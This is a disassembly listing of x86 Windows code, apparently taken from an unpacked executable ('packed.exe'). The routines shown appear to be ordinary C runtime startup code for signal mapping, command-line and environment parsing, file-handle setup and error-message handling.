

loc_422D89:				; CODE XREF: ___:00422D7Bj
		cmp	eax, 0C0000090h
		jnz	short loc_422D9C
		mov	dword_43D02C, 81h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422D9C:				; CODE XREF: ___:00422D8Ej
		cmp	eax, 0C0000091h
		jnz	short loc_422DAF
		mov	dword_43D02C, 84h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DAF:				; CODE XREF: ___:00422DA1j
		cmp	eax, 0C0000093h
		jnz	short loc_422DC2
		mov	dword_43D02C, 85h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DC2:				; CODE XREF: ___:00422DB4j
		cmp	eax, 0C000008Dh
		jnz	short loc_422DD5
		mov	dword_43D02C, 82h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DD5:				; CODE XREF: ___:00422DC7j
		cmp	eax, 0C000008Fh
		jnz	short loc_422DE8
		mov	dword_43D02C, 86h
		jmp	short loc_422DF9
; ---------------------------------------------------------------------------


loc_422DE8:				; CODE XREF: ___:00422DDAj
		cmp	eax, 0C0000092h
		jnz	short loc_422DF9
		mov	dword_43D02C, 8Ah


loc_422DF9:				; CODE XREF: ___:00422D87j
					; ___:00422D9Aj ...
		push	dword_43D02C
		push	8
		call	ebx
		pop	ecx
		mov	dword_43D02C, esi
		pop	ecx
		pop	esi
		jmp	short loc_422E16
; ---------------------------------------------------------------------------


loc_422E0E:				; CODE XREF: ___:00422D40j
		and	dword ptr [eax+8], 0
		push	ecx
		call	ebx
		pop	ecx


loc_422E16:				; CODE XREF: ___:00422E0Cj
		mov	eax, [ebp+8]
		mov	dword_4DBA30, eax


loc_422E1E:				; CODE XREF: ___:00422D22j
		or	eax, 0FFFFFFFFh
		jmp	short loc_422E2C
; ---------------------------------------------------------------------------


loc_422E23:				; CODE XREF: ___:00422CFDj
					; ___:00422D08j
		push	dword ptr [ebp+0Ch]
		nop
		call	near ptr 2630684h


loc_422E2C:				; CODE XREF: ___:00422D1Aj
					; ___:00422E21j
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_422E2F	proc near		; CODE XREF: ___:00422CF5p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D028
		cmp	dword_43CFA8, edx
		push	esi
		mov	eax, offset dword_43CFA8
		jz	short loc_422E5C
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43CFA8h[esi*4]


loc_422E51:				; CODE XREF: sub_422E2F+2Bj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_422E5C
		cmp	[eax], edx
		jnz	short loc_422E51


loc_422E5C:				; CODE XREF: sub_422E2F+16j
					; sub_422E2F+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43CFA8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_422E6F
		cmp	[eax], edx
		jz	short locret_422E71


loc_422E6F:				; CODE XREF: sub_422E2F+3Aj
		xor	eax, eax

locret_422E71:				; CODE XREF: sub_422E2F+3Ej
		retn
sub_422E2F	endp

; ---------------------------------------------------------------------------
		cmp	dword_4DCFF4, 0
		jnz	short loc_422E80
		call	sub_42026D


loc_422E80:				; CODE XREF: ___:00422E79j
		push	esi
		mov	esi, dword_4DCFEC
		mov	al, [esi]
		cmp	al, 22h
		jnz	short loc_422EB2


loc_422E8D:				; CODE XREF: ___:00422EA5j
					; ___:00422EA8j
		mov	al, [esi+1]
		inc	esi
		cmp	al, 22h
		jz	short loc_422EAA
		test	al, al
		jz	short loc_422EAA
		movzx	eax, al
		push	eax
		call	sub_424D36
		test	eax, eax
		pop	ecx
		jz	short loc_422E8D
		inc	esi
		jmp	short loc_422E8D
; ---------------------------------------------------------------------------


loc_422EAA:				; CODE XREF: ___:00422E93j
					; ___:00422E97j
		cmp	byte ptr [esi],	22h
		jnz	short loc_422EBC


loc_422EAF:				; CODE XREF: ___:00422EC4j
		inc	esi
		jmp	short loc_422EBC
; ---------------------------------------------------------------------------


loc_422EB2:				; CODE XREF: ___:00422E8Bj
		cmp	al, 20h
		jbe	short loc_422EBC


loc_422EB6:				; CODE XREF: ___:00422EBAj
		inc	esi
		cmp	byte ptr [esi],	20h
		ja	short loc_422EB6


loc_422EBC:				; CODE XREF: ___:00422EADj
					; ___:00422EB0j ...
		mov	al, [esi]
		test	al, al
		jz	short loc_422EC6
		cmp	al, 20h
		jbe	short loc_422EAF


loc_422EC6:				; CODE XREF: ___:00422EC0j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422EDC
		call	sub_42026D


loc_422EDC:				; CODE XREF: ___:00422ED5j
		mov	esi, dword_4DB9C8
		xor	edi, edi


loc_422EE4:				; CODE XREF: ___:00422EFAj
		mov	al, [esi]
		cmp	al, bl
		jz	short loc_422EFC
		cmp	al, 3Dh
		jz	short loc_422EEF
		inc	edi


loc_422EEF:				; CODE XREF: ___:00422EECj
		push	esi
		call	sub_41AFE0
		pop	ecx
		lea	esi, [esi+eax+1]
		jmp	short loc_422EE4
; ---------------------------------------------------------------------------


loc_422EFC:				; CODE XREF: ___:00422EE8j
		lea	eax, ds:4[edi*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	dword_4DB980, esi
		jnz	short loc_422F1E
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F1E:				; CODE XREF: ___:00422F14j
		mov	edi, dword_4DB9C8
		cmp	[edi], bl
		jz	short loc_422F61
		push	ebp


loc_422F29:				; CODE XREF: ___:00422F5Ej
		push	edi
		call	sub_41AFE0
		mov	ebp, eax
		pop	ecx
		inc	ebp
		cmp	byte ptr [edi],	3Dh
		jz	short loc_422F5A
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esi], eax
		jnz	short loc_422F4D
		push	9
		call	sub_41DA29
		pop	ecx


loc_422F4D:				; CODE XREF: ___:00422F43j
		push	edi
		push	dword ptr [esi]
		call	sub_41BEB0
		pop	ecx
		add	esi, 4
		pop	ecx


loc_422F5A:				; CODE XREF: ___:00422F36j
		add	edi, ebp
		cmp	[edi], bl
		jnz	short loc_422F29
		pop	ebp


loc_422F61:				; CODE XREF: ___:00422F26j
		push	dword_4DB9C8
		call	sub_41B0B1
		pop	ecx
		mov	dword_4DB9C8, ebx
		mov	[esi], ebx
		pop	edi
		pop	esi
		mov	dword_4DCFF0, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	dword_4DCFF4, ebx
		push	esi
		push	edi
		jnz	short loc_422F9A
		call	sub_42026D


loc_422F9A:				; CODE XREF: ___:00422F93j
		mov	esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
		push	104h
		push	esi
		push	ebx
		nop
		call	near ptr 2670000h
		mov	eax, dword_4DCFEC
		mov	off_4DB990, esi
		mov	edi, esi
		cmp	[eax], bl
		jz	short loc_422FBF
		mov	edi, eax


loc_422FBF:				; CODE XREF: ___:00422FBBj
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	ebx
		push	ebx
		push	edi
		call	sub_42301C
		mov	eax, [ebp-8]
		mov	ecx, [ebp-4]
		lea	eax, [eax+ecx*4]
		push	eax
		call	sub_41B4D5
		mov	esi, eax
		add	esp, 18h
		cmp	esi, ebx
		jnz	short loc_422FEF
		push	8
		call	sub_41DA29
		pop	ecx


loc_422FEF:				; CODE XREF: ___:00422FE5j
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		mov	eax, [ebp-4]
		lea	eax, [esi+eax*4]
		push	eax
		push	esi
		push	edi
		call	sub_42301C
		mov	eax, [ebp-4]
		add	esp, 14h
		dec	eax
		mov	dword_4DB978, esi
		pop	edi
		pop	esi
		mov	dword_4DB974, eax
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42301C	proc near		; CODE XREF: ___:00422FCAp
					; ___:00423000p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		mov	eax, [ebp+arg_C]
		push	ebx
		push	esi
		and	dword ptr [ecx], 0
		mov	esi, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+arg_0]
		test	edi, edi
		jz	short loc_423046
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423046:				; CODE XREF: sub_42301C+20j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42308F


loc_42304B:				; CODE XREF: sub_42301C+58j
					; sub_42301C+5Fj
		mov	dl, [eax+1]
		inc	eax
		cmp	dl, 22h
		jz	short loc_42307D
		test	dl, dl
		jz	short loc_42307D
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_423070
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423070
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax


loc_423070:				; CODE XREF: sub_42301C+46j
					; sub_42301C+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42304B
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_42304B
; ---------------------------------------------------------------------------


loc_42307D:				; CODE XREF: sub_42301C+36j
					; sub_42301C+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_423087
		and	byte ptr [esi],	0
		inc	esi


loc_423087:				; CODE XREF: sub_42301C+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_4230D2
		inc	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_42308F:				; CODE XREF: sub_42301C+2Dj
					; sub_42301C+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_42309A
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi


loc_42309A:				; CODE XREF: sub_42301C+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_4230B5
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_4230B4
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi


loc_4230B4:				; CODE XREF: sub_42301C+91j
		inc	eax


loc_4230B5:				; CODE XREF: sub_42301C+8Bj
		cmp	dl, 20h
		jz	short loc_4230C3
		test	dl, dl
		jz	short loc_4230C7
		cmp	dl, 9
		jnz	short loc_42308F


loc_4230C3:				; CODE XREF: sub_42301C+9Cj
		test	dl, dl
		jnz	short loc_4230CA


loc_4230C7:				; CODE XREF: sub_42301C+A0j
		dec	eax
		jmp	short loc_4230D2
; ---------------------------------------------------------------------------


loc_4230CA:				; CODE XREF: sub_42301C+A9j
		test	esi, esi
		jz	short loc_4230D2
		and	byte ptr [esi-1], 0


loc_4230D2:				; CODE XREF: sub_42301C+6Ej
					; sub_42301C+71j ...
		and	[ebp+arg_10], 0


loc_4230D6:				; CODE XREF: sub_42301C+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_4231BF


loc_4230DF:				; CODE XREF: sub_42301C+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_4230EB
		cmp	dl, 9
		jnz	short loc_4230EE


loc_4230EB:				; CODE XREF: sub_42301C+C8j
		inc	eax
		jmp	short loc_4230DF
; ---------------------------------------------------------------------------


loc_4230EE:				; CODE XREF: sub_42301C+CDj
		cmp	byte ptr [eax],	0
		jz	loc_4231BF
		test	edi, edi
		jz	short loc_423103
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_423103:				; CODE XREF: sub_42301C+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_423108:				; CODE XREF: sub_42301C+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_423111:				; CODE XREF: sub_42301C+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_42311A
		inc	eax
		inc	ebx
		jmp	short loc_423111
; ---------------------------------------------------------------------------


loc_42311A:				; CODE XREF: sub_42301C+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_42314B
		test	bl, 1
		jnz	short loc_423149
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_423138
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_423138
		mov	eax, edx
		jmp	short loc_42313B
; ---------------------------------------------------------------------------


loc_423138:				; CODE XREF: sub_42301C+10Dj
					; sub_42301C+116j
		mov	[ebp+arg_0], edi


loc_42313B:				; CODE XREF: sub_42301C+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_423149:				; CODE XREF: sub_42301C+106j
		shr	ebx, 1


loc_42314B:				; CODE XREF: sub_42301C+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_423160
		inc	ebx


loc_423153:				; CODE XREF: sub_42301C+142j
		test	esi, esi
		jz	short loc_42315B
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_42315B:				; CODE XREF: sub_42301C+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_423153


loc_423160:				; CODE XREF: sub_42301C+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_4231B0
		cmp	[ebp+arg_10], 0
		jnz	short loc_423176
		cmp	dl, 20h
		jz	short loc_4231B0
		cmp	dl, 9
		jz	short loc_4231B0


loc_423176:				; CODE XREF: sub_42301C+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_4231AA
		test	esi, esi
		jz	short loc_423199
		movzx	ebx, dl
		test	byte_4DCEC1[ebx], 4
		jz	short loc_423192
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_423192:				; CODE XREF: sub_42301C+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_4231A8
; ---------------------------------------------------------------------------


loc_423199:				; CODE XREF: sub_42301C+162j
		movzx	edx, dl
		test	byte_4DCEC1[edx], 4
		jz	short loc_4231A8
		inc	eax
		inc	dword ptr [ecx]


loc_4231A8:				; CODE XREF: sub_42301C+17Bj
					; sub_42301C+187j
		inc	dword ptr [ecx]


loc_4231AA:				; CODE XREF: sub_42301C+15Ej
		inc	eax
		jmp	loc_423108
; ---------------------------------------------------------------------------


loc_4231B0:				; CODE XREF: sub_42301C+148j
					; sub_42301C+153j ...
		test	esi, esi
		jz	short loc_4231B8
		and	byte ptr [esi],	0
		inc	esi


loc_4231B8:				; CODE XREF: sub_42301C+196j
		inc	dword ptr [ecx]
		jmp	loc_4230D6
; ---------------------------------------------------------------------------


loc_4231BF:				; CODE XREF: sub_42301C+BDj
					; sub_42301C+D5j
		test	edi, edi
		jz	short loc_4231C6
		and	dword ptr [edi], 0


loc_4231C6:				; CODE XREF: sub_42301C+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_42301C	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4DBB38
		push	ebx
		push	ebp
		mov	ebp, dword_42703C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_42321E
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_4231FF
		mov	dword_4DBB38, 1
		jmp	short loc_423227
; ---------------------------------------------------------------------------


loc_4231FF:				; CODE XREF: ___:004231F1j
		call	near ptr 263034Dh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_4232F9
		mov	dword_4DBB38, 2
		jmp	loc_4232AD
; ---------------------------------------------------------------------------


loc_42321E:				; CODE XREF: ___:004231E9j
		cmp	eax, 1
		jnz	loc_4232A8


loc_423227:				; CODE XREF: ___:004231FDj
		cmp	esi, ebx
		jnz	short loc_423237
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_4232F9


loc_423237:				; CODE XREF: ___:00423229j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_42324C


loc_42323E:				; CODE XREF: ___:00423243j
					; ___:0042324Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_42323E


loc_42324C:				; CODE XREF: ___:0042323Cj
		sub	eax, esi
		mov	edi, dword_42717C
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_42329D
		push	ebp
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_42329D
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_423299
		push	dword ptr [esp+10h]
		call	sub_41B0B1
		pop	ecx
		mov	[esp+10h], ebx


loc_423299:				; CODE XREF: ___:00423289j
		mov	ebx, [esp+10h]


loc_42329D:				; CODE XREF: ___:00423269j
					; ___:00423278j
		push	esi
		call	near ptr 2630559h
		nop
		mov	eax, ebx
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232A8:				; CODE XREF: ___:00423221j
		cmp	eax, 2
		jnz	short loc_4232F9


loc_4232AD:				; CODE XREF: ___:00423219j
		cmp	edi, ebx
		jnz	short loc_4232BD
		nop
		call	near ptr 263034Dh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4232F9


loc_4232BD:				; CODE XREF: ___:004232AFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_4232CD


loc_4232C3:				; CODE XREF: ___:004232C6j
					; ___:004232CBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4232C3


loc_4232CD:				; CODE XREF: ___:004232C1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4232E3
		xor	esi, esi
		jmp	short loc_4232EE
; ---------------------------------------------------------------------------


loc_4232E3:				; CODE XREF: ___:004232DDj
		push	ebp
		push	edi
		push	esi
		call	sub_41C310
		add	esp, 0Ch


loc_4232EE:				; CODE XREF: ___:004232E1j
		push	edi
		nop
		call	near ptr 2630582h
		mov	eax, esi
		jmp	short loc_4232FB
; ---------------------------------------------------------------------------


loc_4232F9:				; CODE XREF: ___:00423209j
					; ___:00423231j ...
		xor	eax, eax


loc_4232FB:				; CODE XREF: ___:004232A6j
					; ___:004232F7j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_423322
		push	1Bh
		call	sub_41DA29
		pop	ecx


loc_423322:				; CODE XREF: ___:00423318j
		mov	dword_4DCCA0, esi
		mov	dword_4DCDA0, 20h
		lea	eax, [esi+100h]


loc_423338:				; CODE XREF: ___:00423354j
		cmp	esi, eax
		jnb	short loc_423356
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4DCCA0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_423338
; ---------------------------------------------------------------------------


loc_423356:				; CODE XREF: ___:0042333Aj
		lea	eax, [esp+10h]
		push	eax
		nop
		call	near ptr 2880000h
		cmp	word ptr [esp+42h], 0
		jz	loc_423432
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_423432
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_42338C
		mov	esi, eax


loc_42338C:				; CODE XREF: ___:00423388j
		cmp	dword_4DCDA0, esi
		jge	short loc_4233E6
		mov	edi, offset dword_4DCCA4


loc_423399:				; CODE XREF: ___:004233DCj
		push	100h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		jz	short loc_4233E0
		add	dword_4DCDA0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_4233B7:				; CODE XREF: ___:004233D1j
		cmp	eax, ecx
		jnb	short loc_4233D3
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_4233B7
; ---------------------------------------------------------------------------


loc_4233D3:				; CODE XREF: ___:004233B9j
		add	edi, 4
		cmp	dword_4DCDA0, esi
		jl	short loc_423399
		jmp	short loc_4233E6
; ---------------------------------------------------------------------------


loc_4233E0:				; CODE XREF: ___:004233A6j
		mov	esi, dword_4DCDA0


loc_4233E6:				; CODE XREF: ___:00423392j
					; ___:004233DEj
		xor	edi, edi
		test	esi, esi
		jle	short loc_423432


loc_4233EC:				; CODE XREF: ___:00423430j
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_423429
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_423429
		test	cl, 8
		jnz	short loc_42340B
		push	eax
		call	near ptr 2620669h
		nop
		test	eax, eax
		jz	short loc_423429


loc_42340B:				; CODE XREF: ___:004233FEj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_423429:				; CODE XREF: ___:004233F1j
					; ___:004233F9j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_4233EC


loc_423432:				; CODE XREF: ___:00423367j
					; ___:00423373j ...
		xor	ebx, ebx


loc_423434:				; CODE XREF: ___:00423497j
		mov	eax, dword_4DCCA0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_42348F
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_42344F
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_423459
; ---------------------------------------------------------------------------


loc_42344F:				; CODE XREF: ___:00423448j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_423459:				; CODE XREF: ___:0042344Dj
		push	eax
		nop
		call	near ptr 2630000h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_42347E
		push	edi
		nop
		call	near ptr 2620669h
		test	eax, eax
		jz	short loc_42347E
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_423484


loc_42347E:				; CODE XREF: ___:00423465j
					; ___:00423470j
		or	byte ptr [esi+4], 40h
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_423484:				; CODE XREF: ___:0042347Cj
		cmp	eax, 3
		jnz	short loc_423493
		or	byte ptr [esi+4], 8
		jmp	short loc_423493
; ---------------------------------------------------------------------------


loc_42348F:				; CODE XREF: ___:00423440j
		or	byte ptr [esi+4], 80h


loc_423493:				; CODE XREF: ___:00423482j
					; ___:00423487j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_423434
		push	dword_4DCDA0
		nop
		call	near ptr 26302A7h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234B8	proc near		; DATA XREF: sub_42205D+Ao
					; sub_42218C+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_423558
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_4234EB:				; CODE XREF: sub_4234B8+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_423551
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_42353F
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_42353F
		js	short loc_42354A
		mov	edi, [ebx+8]
		push	ebx
		call	sub_41CB74
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_41CC4A
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_42353F:				; CODE XREF: sub_4234B8+40j
					; sub_4234B8+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_4234EB
; ---------------------------------------------------------------------------


loc_42354A:				; CODE XREF: sub_4234B8+54j
		mov	eax, 0
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423551:				; CODE XREF: sub_4234B8+36j
		mov	eax, 1
		jmp	short loc_42356D
; ---------------------------------------------------------------------------


loc_423558:				; CODE XREF: sub_4234B8+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_42356D:				; CODE XREF: sub_4234B8+97j
					; sub_4234B8+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4234B8	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_41CBB6
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_423590	proc near		; CODE XREF: sub_41DA29+9p
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	short loc_4235A7
		test	eax, eax
		jnz	short locret_4235C8
		cmp	dword_43A9A4, 1
		jnz	short locret_4235C8


loc_4235A7:				; CODE XREF: sub_423590+8j
		push	0FCh
		call	sub_4235C9
		mov	eax, dword_4DBB3C
		pop	ecx
		test	eax, eax
		jz	short loc_4235BD
		call	eax


loc_4235BD:				; CODE XREF: sub_423590+29j
		push	0FFh
		call	sub_4235C9
		pop	ecx

locret_4235C8:				; CODE XREF: sub_423590+Cj
					; sub_423590+15j
		retn
sub_423590	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4235C9	proc near		; CODE XREF: sub_41DA29+12p
					; sub_423590+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43D038


loc_4235DC:				; CODE XREF: sub_4235C9+20j
		cmp	edx, [eax]
		jz	short loc_4235EB
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43D0C8
		jl	short loc_4235DC


loc_4235EB:				; CODE XREF: sub_4235C9+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_43D038[esi]
		jnz	loc_423719
		mov	eax, dword_4DB9D0
		cmp	eax, 1
		jz	loc_4236F3
		test	eax, eax
		jnz	short loc_42361C
		cmp	dword_43A9A4, 1
		jz	loc_4236F3


loc_42361C:				; CODE XREF: sub_4235C9+44j
		cmp	edx, 0FCh
		jz	loc_423719
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2670000h
		test	eax, eax
		jnz	short loc_423653
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_41BEB0
		pop	ecx
		pop	ecx


loc_423653:				; CODE XREF: sub_4235C9+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_41AFE0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_423696
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_41AFE0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_41B5F0
		add	esp, 10h


